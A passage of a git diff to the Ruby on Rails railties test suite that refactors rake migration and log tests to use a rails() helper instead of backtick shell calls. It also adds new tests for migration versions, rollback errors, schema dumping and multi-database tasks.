@@ -21,7 +23,7 @@ def teardown
           File.write("log/test.log", "test")
           File.write("log/dummy.log", "dummy")
 
-          `rails log:clear`
+          rails "log:clear"
 
           assert_equal 0, File.size("log/test.log")
           assert_equal 0, File.size("log/staging.log")
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
index 76cb302c62367..529ed076e4d2b 100644
--- a/railties/test/application/rake/migrations_test.rb
+++ b/railties/test/application/rake/migrations_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -5,7 +7,8 @@ module RakeTests
     class RakeMigrationsTest < ActiveSupport::TestCase
       def setup
         build_app
-        FileUtils.rm_rf("#{app_path}/config/environments")
+        reset_environment_configs
+        add_to_config("config.active_record.timestamped_migrations = false")
       end
 
       def teardown
@@ -13,165 +16,455 @@ def teardown
       end
 
       test "running migrations with given scope" do
-        Dir.chdir(app_path) do
-          `bin/rails generate model user username:string password:string`
+        rails "generate", "model", "user", "username:string", "password:string"
 
-          app_file "db/migrate/01_a_migration.bukkits.rb", <<-MIGRATION
-            class AMigration < ActiveRecord::Migration::Current
-            end
-          MIGRATION
+        app_file "db/migrate/02_a_migration.bukkits.rb", <<-MIGRATION
+          class AMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
 
-          output = `bin/rails db:migrate SCOPE=bukkits`
-          assert_no_match(/create_table\(:users\)/, output)
-          assert_no_match(/CreateUsers/, output)
-          assert_no_match(/add_column\(:users, :email, :string\)/, output)
+        output = rails("db:migrate", "SCOPE=bukkits")
+        assert_no_match(/create_table\(:users\)/, output)
+        assert_no_match(/CreateUsers/, output)
+        assert_no_match(/add_column\(:users, :email, :string\)/, output)
 
-          assert_match(/AMigration: migrated/, output)
+        assert_match(/AMigration: migrated/, output)
 
-          output = `bin/rails db:migrate SCOPE=bukkits VERSION=0`
-          assert_no_match(/drop_table\(:users\)/, output)
-          assert_no_match(/CreateUsers/, output)
-          assert_no_match(/remove_column\(:users, :email\)/, output)
+        # run all the migrations to test scope for down
+        output = rails("db:migrate")
+        assert_match(/CreateUsers: migrated/, output)
 
-          assert_match(/AMigration: reverted/, output)
-        end
+        output = rails("db:migrate", "SCOPE=bukkits", "VERSION=0")
+        assert_no_match(/drop_table\(:users\)/, output)
+        assert_no_match(/CreateUsers/, output)
+        assert_no_match(/remove_column\(:users, :email\)/, output)
+
+        assert_match(/AMigration: reverted/, output)
+
+        output = rails("db:migrate", "VERSION=0")
+
+        assert_match(/CreateUsers: reverted/, output)
+      end
+
+      test "version outputs current version" do
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        rails "db:migrate"
+
+        output = rails("db:version")
+        assert_match(/Current version: 1/, output)
+      end
+
+      test "migrate with specified VERSION in different formats" do
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/03_three_migration.rb", <<-MIGRATION
+          class ThreeMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        rails "db:migrate"
+
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
+        assert_match(/up\s+003\s+Three migration/, output)
+
+        rails "db:migrate", "VERSION=01_one_migration.rb"
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/down\s+002\s+Two migration/, output)
+        assert_match(/down\s+003\s+Three migration/, output)
+
+        rails "db:migrate", "VERSION=3"
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
+        assert_match(/up\s+003\s+Three migration/, output)
+
+        rails "db:migrate", "VERSION=001"
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/down\s+002\s+Two migration/, output)
+        assert_match(/down\s+003\s+Three migration/, output)
+      end
+
+      test "migration with empty version" do
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        rails("db:migrate", "VERSION=")
+
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
+
+        output = rails("db:migrate:redo", "VERSION=", allow_failure: true)
+        assert_match(/Empty VERSION provided/, output)
+
+        output = rails("db:migrate:up", "VERSION=", allow_failure: true)
+        assert_match(/VERSION is required/, output)
+
+        output = rails("db:migrate:up", allow_failure: true)
+        assert_match(/VERSION is required/, output)
+
+        output = rails("db:migrate:down", "VERSION=", allow_failure: true)
+        assert_match(/VERSION is required - To go down one migration, use db:rollback/, output)
+
+        output = rails("db:migrate:down", allow_failure: true)
+        assert_match(/VERSION is required - To go down one migration, use db:rollback/, output)
+
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
+      end
+
+      test "rollback raises when VERSION is passed" do
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        rails "db:migrate"
+
+        output = rails("db:rollback", "VERSION=01_one_migration.rb", allow_failure: true)
+        assert_match(/VERSION is not supported - To rollback a specific version, use db:migrate:down/, output)
+      end
+
+      test "migration with 0 version" do
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        rails "db:migrate"
+
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
+
+        rails "db:migrate", "VERSION=0"
+
+        output = rails("db:migrate:status")
+        assert_match(/down\s+001\s+One migration/, output)
+        assert_match(/down\s+002\s+Two migration/, output)
       end
 
       test "model and migration generator with change syntax" do
-        Dir.chdir(app_path) do
-          `bin/rails generate model user username:string password:string;
-           bin/rails generate migration add_email_to_users email:string`
-
-          output = `bin/rails db:migrate`
-          assert_match(/create_table\(:users\)/, output)
-          assert_match(/CreateUsers: migrated/, output)
-          assert_match(/add_column\(:users, :email, :string\)/, output)
-          assert_match(/AddEmailToUsers: migrated/, output)
-
-          output = `bin/rails db:rollback STEP=2`
-          assert_match(/drop_table\(:users\)/, output)
-          assert_match(/CreateUsers: reverted/, output)
-          assert_match(/remove_column\(:users, :email, :string\)/, output)
-          assert_match(/AddEmailToUsers: reverted/, output)
-        end
+        rails "generate", "model", "user", "username:string", "password:string"
+        rails "generate", "migration", "add_email_to_users", "email:string"
+
+        output = rails("db:migrate")
+        assert_match(/create_table\(:users\)/, output)
+        assert_match(/CreateUsers: migrated/, output)
+        assert_match(/add_column\(:users, :email, :string\)/, output)
+        assert_match(/AddEmailToUsers: migrated/, output)
+
+        output = rails("db:rollback", "STEP=2")
+        assert_match(/drop_table\(:users\)/, output)
+        assert_match(/CreateUsers: reverted/, output)
+        assert_match(/remove_column\(:users, :email, :string\)/, output)
+        assert_match(/AddEmailToUsers: reverted/, output)
       end
 
       test "migration status when schema migrations table is not present" do
-        output = Dir.chdir(app_path) { `bin/rails db:migrate:status 2>&1` }
+        output = rails("db:migrate:status", allow_failure: true)
         assert_equal "Schema migrations table does not exist yet.\n", output
       end
 
-      test "test migration status" do
-        Dir.chdir(app_path) do
-          `bin/rails generate model user username:string password:string;
-           bin/rails generate migration add_email_to_users email:string;
-           bin/rails db:migrate`
+      test "migration status" do
+        remove_from_config("config.active_record.timestamped_migrations = false")
 
-          output = `bin/rails db:migrate:status`
+        rails "generate", "model", "user", "username:string", "password:string"
+        rails "generate", "migration", "add_email_to_users", "email:string"
+        rails "db:migrate"
 
-          assert_match(/up\s+\d{14}\s+Create users/, output)
-          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+        output = rails("db:migrate:status")
 
-          `bin/rails db:rollback STEP=1`
-          output = `bin/rails db:migrate:status`
+        assert_match(/up\s+\d{14}\s+Create users/, output)
+        assert_match(/up\s+\d{14}\s+Add email to users/, output)
 
-          assert_match(/up\s+\d{14}\s+Create users/, output)
-          assert_match(/down\s+\d{14}\s+Add email to users/, output)
-        end
+        rails "db:rollback", "STEP=1"
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+\d{14}\s+Create users/, output)
+        assert_match(/down\s+\d{14}\s+Add email to users/, output)
       end
 
       test "migration status without timestamps" do
-        add_to_config("config.active_record.timestamped_migrations = false")
+        remove_from_config("config.active_record.timestamped_migrations = false")
 
-        Dir.chdir(app_path) do
-          `bin/rails generate model user username:string password:string;
-           bin/rails generate migration add_email_to_users email:string;
-           bin/rails db:migrate`
+        rails "generate", "model", "user", "username:string", "password:string"
+        rails "generate", "migration", "add_email_to_users", "email:string"
+        rails "db:migrate"
 
-          output = `bin/rails db:migrate:status`
+        output = rails("db:migrate:status")
 
-          assert_match(/up\s+\d{3,}\s+Create users/, output)
-          assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+        assert_match(/up\s+\d{3,}\s+Create users/, output)
+        assert_match(/up\s+\d{3,}\s+Add email to users/, output)
 
-          `bin/rails db:rollback STEP=1`
-          output = `bin/rails db:migrate:status`
+        rails "db:rollback", "STEP=1"
+        output = rails("db:migrate:status")
 
-          assert_match(/up\s+\d{3,}\s+Create users/, output)
-          assert_match(/down\s+\d{3,}\s+Add email to users/, output)
-        end
+        assert_match(/up\s+\d{3,}\s+Create users/, output)
+        assert_match(/down\s+\d{3,}\s+Add email to users/, output)
       end
 
-      test "test migration status after rollback and redo" do
+      test "migration status after rollback and redo" do
+        remove_from_config("config.active_record.timestamped_migrations = false")
+
+        rails "generate", "model", "user", "username:string", "password:string"
+        rails "generate", "migration", "add_email_to_users", "email:string"
+        rails "db:migrate"
+
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+\d{14}\s+Create users/, output)
+        assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+        rails "db:rollback", "STEP=2"
+        output = rails("db:migrate:status")
+
+        assert_match(/down\s+\d{14}\s+Create users/, output)
+        assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+        rails "db:migrate:redo"
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+\d{14}\s+Create users/, output)
+        assert_match(/up\s+\d{14}\s+Add email to users/, output)
+      end
+
+      test "migration status after rollback and forward" do
+        remove_from_config("config.active_record.timestamped_migrations = false")
+
+        rails "generate", "model", "user", "username:string", "password:string"
+        rails "generate", "migration", "add_email_to_users", "email:string"
+        rails "db:migrate"
+
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+\d{14}\s+Create users/, output)
+        assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+        rails "db:rollback", "STEP=2"
+        output = rails("db:migrate:status")
+
+        assert_match(/down\s+\d{14}\s+Create users/, output)
+        assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+        rails "db:forward", "STEP=2"
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+\d{14}\s+Create users/, output)
+        assert_match(/up\s+\d{14}\s+Add email to users/, output)
+      end
+
+      test "raise error on any move when current migration does not exist" do
         Dir.chdir(app_path) do
-          `bin/rails generate model user username:string password:string;
-           bin/rails generate migration add_email_to_users email:string;
-           bin/rails db:migrate`
+          remove_from_config("config.active_record.timestamped_migrations = false")
 
-          output = `bin/rails db:migrate:status`
+          rails "generate", "model", "user", "username:string", "password:string"
+          rails "generate", "migration", "add_email_to_users", "email:string"
+          rails "db:migrate"
+          `rm db/migrate/*email*.rb`
 
+          output = rails("db:migrate:status")
           assert_match(/up\s+\d{14}\s+Create users/, output)
-          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
 
-          `bin/rails db:rollback STEP=2`
-          output = `bin/rails db:migrate:status`
+          output = rails("db:rollback", allow_failure: true)
+          assert_match(/rails aborted!/, output)
+          assert_match(/ActiveRecord::UnknownMigrationVersionError:/, output)
+          assert_match(/No migration with version number\s\d{14}\./, output)
 
-          assert_match(/down\s+\d{14}\s+Create users/, output)
-          assert_match(/down\s+\d{14}\s+Add email to users/, output)
+          output = rails("db:migrate:status")
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
 
-          `bin/rails db:migrate:redo`
-          output = `bin/rails db:migrate:status`
+          output = rails("db:forward", allow_failure: true)
+          assert_match(/rails aborted!/, output)
+          assert_match(/ActiveRecord::UnknownMigrationVersionError:/, output)
+          assert_match(/No migration with version number\s\d{14}\./, output)
 
+          output = rails("db:migrate:status")
           assert_match(/up\s+\d{14}\s+Create users/, output)
-          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
         end
       end
 
-      test "migration status after rollback and redo without timestamps" do
-        add_to_config("config.active_record.timestamped_migrations = false")
+      test "raise error on any move when target migration does not exist" do
+        app_file "db/migrate/01_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
 
-        Dir.chdir(app_path) do
-          `bin/rails generate model user username:string password:string;
-           bin/rails generate migration add_email_to_users email:string;
-           bin/rails db:migrate`
+        app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        rails "db:migrate"
 
-          output = `bin/rails db:migrate:status`
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
 
-          assert_match(/up\s+\d{3,}\s+Create users/, output)
-          assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+        output = rails("db:migrate", "VERSION=3", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/ActiveRecord::UnknownMigrationVersionError:/, output)
+        assert_match(/No migration with version number 3/, output)
 
-          `bin/rails db:rollback STEP=2`
-          output = `bin/rails db:migrate:status`
+        output = rails("db:migrate:status")
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
+      end
 
-          assert_match(/down\s+\d{3,}\s+Create users/, output)
-          assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+      test "raise error on any move when VERSION has invalid format" do
+        output = rails("db:migrate", "VERSION=unknown", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
 
-          `bin/rails db:migrate:redo`
-          output = `bin/rails db:migrate:status`
+        output = rails("db:migrate", "VERSION=0.1.11", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
 
-          assert_match(/up\s+\d{3,}\s+Create users/, output)
-          assert_match(/up\s+\d{3,}\s+Add email to users/, output)
-        end
+        output = rails("db:migrate", "VERSION=1.1.11", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+
+        output = rails("db:migrate", "VERSION='0 '", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+
+        output = rails("db:migrate", "VERSION=1.", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+
+        output = rails("db:migrate", "VERSION=1_", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+
+        output = rails("db:migrate", "VERSION=1_name", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+
+        output = rails("db:migrate:redo", "VERSION=unknown", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+
+        output = rails("db:migrate:up", "VERSION=unknown", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+
+        output = rails("db:migrate:down", "VERSION=unknown", allow_failure: true)
+        assert_match(/rails aborted!/, output)
+        assert_match(/Invalid format of target version/, output)
+      end
+
+      test "migration status after rollback and redo without timestamps" do
+        rails "generate", "model", "user", "username:string", "password:string"
+        rails "generate", "migration", "add_email_to_users", "email:string"
+        rails "db:migrate"
+
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+\d{3,}\s+Create users/, output)
+        assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+        rails "db:rollback", "STEP=2"
+        output = rails("db:migrate:status")
+
+        assert_match(/down\s+\d{3,}\s+Create users/, output)
+        assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+
+        rails "db:migrate:redo"
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+\d{3,}\s+Create users/, output)
+        assert_match(/up\s+\d{3,}\s+Add email to users/, output)
       end
 
       test "running migrations with not timestamp head migration files" do
+        app_file "db/migrate/1_one_migration.rb", <<-MIGRATION
+          class OneMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
+          class TwoMigration < ActiveRecord::Migration::Current
+          end
+        MIGRATION
+
+        rails "db:migrate"
+
+        output = rails("db:migrate:status")
+
+        assert_match(/up\s+001\s+One migration/, output)
+        assert_match(/up\s+002\s+Two migration/, output)
+      end
+
+      test "schema generation when dump_schema_after_migration and schema_dump are set" do
+        add_to_config("config.active_record.dump_schema_after_migration = true")
+
+        app_file "config/database.yml", <<~EOS
+          development:
+            adapter: sqlite3
+            database: 'dev_db'
+            schema_dump: "schema_file.rb"
+        EOS
+
         Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
 
-          app_file "db/migrate/1_one_migration.rb", <<-MIGRATION
-            class OneMigration < ActiveRecord::Migration::Current
-            end
-          MIGRATION
+          assert File.exist?("db/schema_file.rb"), "should dump schema when configured to"
+        end
+      end
 
-          app_file "db/migrate/02_two_migration.rb", <<-MIGRATION
-            class TwoMigration < ActiveRecord::Migration::Current
-            end
-          MIGRATION
+      test "schema generation when dump_schema_after_migration is true schema_dump is false" do
+        add_to_config("config.active_record.dump_schema_after_migration = true")
 
-          `bin/rails db:migrate`
+        app_file "config/database.yml", <<~EOS
+          development:
+            adapter: sqlite3
+            database: 'dev_db'
+            schema_dump: false
+        EOS
 
-          output = `bin/rails db:migrate:status`
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
 
-          assert_match(/up\s+001\s+One migration/, output)
-          assert_match(/up\s+002\s+Two migration/, output)
+          assert_not File.exist?("db/schema.rb"), "should not dump schema when configured not to"
         end
       end
 
@@ -179,19 +472,20 @@ class TwoMigration < ActiveRecord::Migration::Current
         add_to_config("config.active_record.dump_schema_after_migration = false")
 
         Dir.chdir(app_path) do
-          `bin/rails generate model book title:string`
-          output = `bin/rails generate model author name:string`
+          rails "generate", "model", "book", "title:string"
+          output = rails("generate", "model", "author", "name:string")
           version = output =~ %r{[^/]+db/migrate/(\d+)_create_authors\.rb} && $1
 
-          `bin/rails db:migrate db:rollback db:forward db:migrate:up db:migrate:down VERSION=#{version}`
-          assert !File.exist?("db/schema.rb"), "should not dump schema when configured not to"
+          rails "db:migrate", "db:rollback", "db:forward"
+          rails "db:migrate:up", "db:migrate:down", "VERSION=#{version}"
+          assert_not File.exist?("db/schema.rb"), "should not dump schema when configured not to"
         end
 
         add_to_config("config.active_record.dump_schema_after_migration = true")
 
         Dir.chdir(app_path) do
-          `bin/rails generate model reviews book_id:integer`
-          `bin/rails db:migrate`
+          rails "generate", "model", "reviews", "book_id:integer"
+          rails "db:migrate"
 
           structure_dump = File.read("db/schema.rb")
           assert_match(/create_table "reviews"/, structure_dump)
@@ -200,28 +494,58 @@ class TwoMigration < ActiveRecord::Migration::Current
 
       test "default schema generation after migration" do
         Dir.chdir(app_path) do
-          `bin/rails generate model book title:string;
-           bin/rails db:migrate`
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
 
           structure_dump = File.read("db/schema.rb")
           assert_match(/create_table "books"/, structure_dump)
         end
       end
 
-      test "test migration status migrated file is deleted" do
+      test "migration status migrated file is deleted" do
         Dir.chdir(app_path) do
-          `bin/rails generate model user username:string password:string;
-           bin/rails generate migration add_email_to_users email:string;
-           bin/rails db:migrate
-           rm db/migrate/*email*.rb`
+          remove_from_config("config.active_record.timestamped_migrations = false")
 
-          output = `bin/rails db:migrate:status`
-          File.write("test.txt", output)
+          rails "generate", "model", "user", "username:string", "password:string"
+          rails "generate", "migration", "add_email_to_users", "email:string"
+          rails "db:migrate"
+          `rm db/migrate/*email*.rb`
+
+          output = rails("db:migrate:status")
 
           assert_match(/up\s+\d{14}\s+Create users/, output)
           assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
         end
       end
+
+      test "migrations with execute run when connections are established from a loaded model" do
+        Dir.chdir(app_path) do
+          app_file "app/models/application_record.rb", <<-RUBY
+            class ApplicationRecord < ActiveRecord::Base
+              primary_abstract_class
+
+              establish_connection :primary
+            end
+          RUBY
+
+          rails "generate", "model", "user", "username:string", "password:string"
+
+          rails("db:migrate")
+
+          app_file "db/migrate/02_a_migration.bukkits.rb", <<-MIGRATION
+            class AMigration < ActiveRecord::Migration::Current
+              def change
+                User.first
+                execute("SELECT 1")
+              end
+            end
+          MIGRATION
+
+          output = rails("db:migrate")
+
+          assert_match(/execute\("SELECT 1"\)/, output)
+        end
+      end
     end
   end
 end
diff --git a/railties/test/application/rake/multi_dbs_test.rb b/railties/test/application/rake/multi_dbs_test.rb
new file mode 100644
index 0000000000000..1db5729bf00ad
--- /dev/null
+++ b/railties/test/application/rake/multi_dbs_test.rb
@@ -0,0 +1,1666 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeMultiDbsTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app(multi_db: true)
+        reset_environment_configs
+        add_to_config("config.active_record.timestamped_migrations = false")
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      def db_create_and_drop(namespace, expected_database)
+        Dir.chdir(app_path) do
+          output = rails("db:create")
+          assert_match(/Created database/, output)
+          assert_match_namespace(namespace, output)
+          assert_no_match(/already exists/, output)
+          assert File.exist?(expected_database)
+
+          output = rails("db:drop")
+          assert_match(/Dropped database/, output)
+          assert_match_namespace(namespace, output)
+          assert_no_match(/does not exist/, output)
+          assert_not File.exist?(expected_database)
+        end
+      end
+
+      def db_create_and_drop_namespace(namespace, expected_database)
+        Dir.chdir(app_path) do
+          output = rails("db:create:#{namespace}")
+          assert_match(/Created database/, output)
+          assert_match_namespace(namespace, output)
+          assert File.exist?(expected_database)
+
+          output = rails("db:drop:#{namespace}")
+          assert_match(/Dropped database/, output)
+          assert_match_namespace(namespace, output)
+          assert_not File.exist?(expected_database)
+        end
+      end
+
+      def assert_match_namespace(namespace, output)
+        if namespace == "primary"
+          assert_match(/#{Rails.env}.sqlite3/, output)
+        else
+          assert_match(/#{Rails.env}_#{namespace}.sqlite3/, output)
+        end
+      end
+
+      def db_migrate_and_migrate_status
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails "db:migrate"
+          output = rails "db:migrate:status"
+          assert_match(/up     \d+  Create books/, output)
+          assert_match(/up     \d+  Create dogs/, output)
+        end
+      end
+
+      def db_migrate_and_schema_cache_dump
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails "db:migrate", "--trace"
+          rails "db:schema:cache:dump", "--trace"
+          assert File.exist?("db/schema_cache.yml")
+          assert File.exist?("db/animals_schema_cache.yml")
+        end
+      end
+
+      def db_migrate_and_schema_cache_dump_and_schema_cache_clear
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails "db:migrate"
+          rails "db:schema:cache:dump"
+          rails "db:schema:cache:clear"
+          assert_not File.exist?("db/schema_cache.yml")
+          assert_not File.exist?("db/animals_schema_cache.yml")
+        end
+      end
+
+      def db_migrate_and_schema_dump_and_load(schema_format = "ruby")
+        add_to_config "config.active_record.schema_format = :#{schema_format}"
+        require "#{app_path}/config/environment"
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails "db:migrate", "db:schema:dump"
+
+          if schema_format == "ruby"
+            schema_dump = File.read("db/schema.rb")
+            schema_dump_animals = File.read("db/animals_schema.rb")
+            assert_match(/create_table "books"/, schema_dump)
+            assert_match(/create_table "dogs"/, schema_dump_animals)
+          else
+            schema_dump = File.read("db/structure.sql")
+            schema_dump_animals = File.read("db/animals_structure.sql")
+            assert_match(/CREATE TABLE (?:IF NOT EXISTS )?"books"/, schema_dump)
+            assert_match(/CREATE TABLE (?:IF NOT EXISTS )?"dogs"/, schema_dump_animals)
+          end
+
+          rails "db:drop", "db:create", "db:schema:load"
+
+          ar_tables = lambda { rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip }
+          animals_tables = lambda { rails("runner", "p AnimalsBase.lease_connection.tables.sort").strip }
+
+          assert_equal '["ar_internal_metadata", "books", "schema_migrations"]', ar_tables[]
+          assert_equal '["ar_internal_metadata", "dogs", "schema_migrations"]', animals_tables[]
+        end
+      end
+
+      def db_migrate_and_schema_dump_and_load_one_database(database, schema_format)
+        add_to_config "config.active_record.schema_format = :#{schema_format}"
+        require "#{app_path}/config/environment"
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          rails "db:migrate:#{database}", "db:schema:dump:#{database}"
+
+          if schema_format == "ruby"
+            if database == "primary"
+              schema_dump = File.read("db/schema.rb")
+              assert_not(File.exist?("db/animals_schema.rb"))
+              assert_match(/create_table "books"/, schema_dump)
+            else
+              assert_not(File.exist?("db/schema.rb"))
+              schema_dump_animals = File.read("db/animals_schema.rb")
+              assert_match(/create_table "dogs"/, schema_dump_animals)
+            end
+          else
+            if database == "primary"
+              schema_dump = File.read("db/structure.sql")
+              assert_not(File.exist?("db/animals_structure.sql"))
+              assert_match(/CREATE TABLE (?:IF NOT EXISTS )?"books"/, schema_dump)
+            else
+              assert_not(File.exist?("db/structure.sql"))
+              schema_dump_animals = File.read("db/animals_structure.sql")
+              assert_match(/CREATE TABLE (?:IF NOT EXISTS )?"dogs"/, schema_dump_animals)
+            end
+          end
+
+          rails "db:drop:#{database}", "db:create:#{database}", "db:schema:load:#{database}"
+
+          ar_tables = lambda { rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip }
+          animals_tables = lambda { rails("runner", "p AnimalsBase.lease_connection.tables.sort").strip }
+
+          if database == "primary"
+            assert_equal '["ar_internal_metadata", "books", "schema_migrations"]', ar_tables[]
+            assert_equal "[]", animals_tables[]
+          else
+            assert_equal "[]", ar_tables[]
+            assert_equal '["ar_internal_metadata", "dogs", "schema_migrations"]', animals_tables[]
+          end
+        end
+      end
+
+      def db_migrate_name_dumps_the_schema(name, schema_format)
+        add_to_config "config.active_record.schema_format = :#{schema_format}"
+        require "#{app_path}/config/environment"
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+
+          assert_not(File.exist?("db/schema.rb"))
+          assert_not(File.exist?("db/animals_schema.rb"))
+          assert_not(File.exist?("db/structure.sql"))
+          assert_not(File.exist?("db/animals_structure.sql"))
+
+          rails("db:migrate:#{name}")
+
+          if schema_format == "ruby"
+            if name == "primary"
+              schema_dump = File.read("db/schema.rb")
+              assert_not(File.exist?("db/animals_schema.rb"))
+              assert_match(/create_table "books"/, schema_dump)
+            else
+              assert_not(File.exist?("db/schema.rb"))
+              schema_dump_animals = File.read("db/animals_schema.rb")
+              assert_match(/create_table "dogs"/, schema_dump_animals)
+            end
+          else
+            if name == "primary"
+              schema_dump = File.read("db/structure.sql")
+              assert_not(File.exist?("db/animals_structure.sql"))
+              assert_match(/CREATE TABLE (?:IF NOT EXISTS )?"books"/, schema_dump)
+            else
+              assert_not(File.exist?("db/structure.sql"))
+              schema_dump_animals = File.read("db/animals_structure.sql")
+              assert_match(/CREATE TABLE (?:IF NOT EXISTS )?"dogs"/, schema_dump_animals)
+            end
+          end
+        end
+      end
+
+      def db_test_prepare_name(name, schema_format)
+        add_to_config "config.active_record.schema_format = :#{schema_format}"
+        require "#{app_path}/config/environment"
+
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+
+          rails("db:migrate:#{name}", "db:schema:dump:#{name}")
+
+          output = rails("db:test:prepare:#{name}", "--trace")
+          assert_match(/Execute db:test:load_schema:#{name}/, output)
+
+          ar_tables = lambda { rails("runner", "-e", "test", "p ActiveRecord::Base.lease_connection.tables.sort").strip }
+          animals_tables = lambda { rails("runner",  "-e", "test", "p AnimalsBase.lease_connection.tables.sort").strip }
+
+          if name == "primary"
+            assert_equal '["ar_internal_metadata", "books", "schema_migrations"]', ar_tables[]
+            assert_equal "[]", animals_tables[]
+          else
+            assert_equal "[]", ar_tables[]
+            assert_equal '["ar_internal_metadata", "dogs", "schema_migrations"]', animals_tables[]
+          end
+        end
+      end
+
+      def db_migrate_namespaced(namespace)
+        Dir.chdir(app_path) do
+          generate_models_for_animals
+          output = rails("db:migrate:#{namespace}")
+          if namespace == "primary"
+            assert_match(/CreateBooks: migrated/, output)
+          else
